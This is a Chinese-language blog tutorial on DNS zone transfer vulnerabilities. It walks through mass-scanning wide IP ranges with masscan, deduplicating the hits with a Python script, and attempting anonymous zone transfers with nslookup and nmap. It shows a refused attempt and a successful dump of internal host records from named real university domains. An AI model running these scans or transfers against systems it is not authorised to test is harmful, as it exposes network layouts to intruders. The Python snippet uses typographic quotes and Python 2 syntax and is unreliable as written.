推动开源 推动网络安全

DNS域传送漏洞的收集、检测与利用

一. DNS域传送

DNS :Domain Name System

一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53

常见DNS记录类型:

A       IP地址记录,记录一个域名对应的IP地址

AAAA    IPv6 地址记录,记录一个域名对应的IPv6地址

CNAME   别名记录,记录一个主机的别名

MX      电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com

NS      域名服务器记录 ,记录该域名由哪台域名服务器解析

PTR     反向记录,也即从IP地址到域名的一条记录

TXT     记录域名的相关文本信息

域传送 :DNS Zone Transfer

二. 收集

1. 利用网络空间搜索引擎收集域名服务器 

比如:shodan、zoomeye、fofa

2. 利用MasScan收集dns服务器 

安装:

On Debian/Ubuntu:

$ sudo apt-get install git gcc make libpcap-dev

$ git clone https://github.com/robertdavidgraham/masscan

$ cd masscan

$ make

On Centos:

sudo yum install git gcc make libpcap-devel

git clone https://github.com/robertdavidgraham/masscan

cd masscan

make

扫描网段

./bin/masscan -p53 -oX ns.xml –rate 160000 101.0.0.0-110.0.0.0

-p表示需要端口

或者直接安装:

apt install masscan

获得开放53端口的潜在漏洞DNS服务器对象。

ns.xml结果去重

from lxml import etree

port = None

address = None

parsedServers = []

#Opens the file used to store single enteries.

outputFile = open(‘ns.txt’, ‘a’)

for event, element in etree.iterparse(‘ns.xml’, tag=”host”):

    for child in element:

        if child.tag == ‘address’:

            address = child.attrib[‘addr’]

        if child.tag == ‘ports’:

            for a in child:

                port = a.attrib[‘portid’]

        if port > 1 and address > 1:

            if address not in parsedServers:

                print address

                outputFile.write(address + ‘\n’)

                parsedServers.append(address)

            port = None

            address = None

    element.clear()

outputFile.close()

print ‘End’

———————

三. 检测与利用

原理

DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录。

通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录。

危害

网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程。

———————

检测与利用

1. nslookup 
基本过程

1) 输入nslookup命令进入交互式shell;
2) server 命令参数设定查询将要使用的DNS服务器;
3) ls命令列出某个域中的所有域名;
4) exit命令退出

失败例子 

> nslookup

DNS request timed out.

    timeout was 2 seconds.

默认服务器:  UnKnown

Address:  114.114.114.114

> server ss2.bjfu.edu.cn

默认服务器:  ss2.bjfu.edu.cn

Address:  202.204.112.67

> ls bjfu.edu.cn

[ss2.bjfu.edu.cn]

*** 无法列出域 bjfu.edu.cn: Query refused

DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,

请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的

区域传送安全设置。

———————

成功例子 

> nslookup

默认服务器:  public1.114dns.com

Address:  114.114.114.114

> server ring.cugb.edu.cn

默认服务器:  ring.cugb.edu.cn

Address:  202.204.105.1

> ls cugb.edu.cn

cugb.edu.cn.                   NS     server = ring.cugb.edu.cn

      cugb.edu.cn.                   A      127.0.0.1

      acm                            A      121.194.86.2

      bbs                            A      202.204.105.172

      bm                             A      202.204.105.179

———————

2. nmap

nmap –script dns-zone-transfer –script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn

赞(1)
未经允许不得转载:Mrk丶Bolg » DNS域传送漏洞的收集、检测与利用
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址